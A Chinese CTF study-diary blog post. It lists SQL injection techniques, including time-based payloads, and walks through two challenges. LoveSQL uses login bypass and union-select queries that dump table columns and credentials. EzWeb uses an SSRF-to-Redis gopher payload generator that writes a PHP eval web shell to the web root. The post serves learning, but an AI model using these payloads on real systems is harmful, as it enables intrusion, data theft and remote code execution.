被监督写博客-Day2

    科技2022-08-06  122

    报错注入:一般是加单引号,看回显的error,看是哪里存在sql注入;联合查询注入:一般是用order by去看有几个字段,还有union select;布尔盲注:对于页面的回显只有TRUE和FALSEl两种,一般要通过回显来判断需要构造的语句;时间注入:判断时间型注入时,只要让sleep()函数执行成功,就可以根据回显时间判断是否为时间型注入。几个判断时间注入的语句,一般用if语句,语句一为真则执行语句二,否则执行语句三

    ’ and if(1=0,1, sleep(10)) --+

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

    题目一: [极客大挑战 2019]LoveSQL 这道题之前做的时候看wp没看明白,这次重新做了一下,有了一些其他的理解。 首先是用万能密码登陆, 用户名:1’ or 1=1# 密码:123(随便) 得到回显 知道了用户名和密码 不过既然是sql注入的题目,那肯是还是要继续找注入点 按照正常的注入思路,先爆字段 有三个 用union查询注入点

    check.php?username=1'%20union select 1,2,3%23&password=123

    数据库名及版本

    check.php?username=1'%20union select 1,database(),version()%23&password=123

    爆表

    /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123

    爆数据

    /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123

    得到flag

    题目二: [GKCTF2020]EZ三剑客-EzWeb 通过这个题目复习了burpsuit的抓包以及跑字典 在源码处找到提示, 访问一下,得到

    用file协议读文件,file://被过滤,可以file:/, 读到关键代码

    在173.110.228.12这个IP得到提示 扫描到6379端口,是redis服务

    import urllib.parse protocol="gopher://" ip="173.110.228.12" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] #构造redis命令 if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) print(payload)

    得到

    gopher://173.110.228.12:6379/_*1 $8 flushall *3 $3 set $1 1 $31 *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save

    不过payload之后并没有。。。。不懂了不懂了。。。

    Processed: 0.019, SQL: 9